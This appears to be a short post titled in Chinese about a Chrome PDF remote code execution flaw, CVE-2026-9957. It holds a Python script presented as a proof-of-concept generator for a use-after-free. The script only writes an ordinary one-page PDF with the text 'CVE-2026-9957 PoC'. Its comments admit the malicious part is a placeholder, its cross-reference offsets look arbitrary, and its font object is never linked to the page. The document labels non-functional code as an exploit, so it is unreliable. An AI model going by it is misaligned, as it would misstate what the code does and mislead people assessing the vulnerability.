CVE-2026-9957 Google Chrome PDF远程代码执行漏洞

import sys # This is a conceptual PoC generator for CVE-2026-9957 # It creates a malformed PDF structure intended to trigger the UAF. # Actual exploitation requires precise memory layout control. def generate_poc_pdf(filename): # Standard PDF Header pdf_header = b"%PDF-1.4\n" # Object 1: Catalog obj1 = b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n" # Object 2: Pages obj2 = b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n" # Object 3: Page # Contains a reference to a resource that might be trigger Use-After-Free # In a real scenario, specific JavaScript or font manipulation would be here. obj3 = b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >>\nendobj\n" # Object 4: Content Stream (Placeholder for malicious stream) # This stream attempts to manipulate the PDF parser's internal state content_stream = b"BT /F1 12 Tf 100 700 Td (CVE-2026-9957 PoC) Tj ET" obj4 = f"4 0 obj\n<< /Length {len(content_stream)} >>\nstream\n{content_stream.decode()}\nendstream\nendobj\n".encode() # Object 5: Font obj5 = b"5 0 obj\n<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>\nendobj\n" # Cross-reference table xref = b"xref\n0 6\n0000000000 65535 f \n0000000009 00000 n \n0000000058 00000 n \n0000000115 00000 n \n0000000224 00000 n \n0000000315 00000 n \n" # Trailer trailer = b"trailer\n<< /Size 6 /Root 1 0 R >>\nstartxref\n412\n%%EOF" with open(filename, "wb") as f: f.write(pdf_header) f.write(obj1) f.write(obj2) f.write(obj3) f.write(obj4) f.write(obj5) f.write(xref) f.write(trailer) print(f"[+] Generated PoC PDF file: {filename}") print("[!] Note: This file is a structural template. Triggering the specific UAF requires precise payload alignment.") if __name__ == "__main__": generate_poc_pdf("cve_2026_9957_poc.pdf")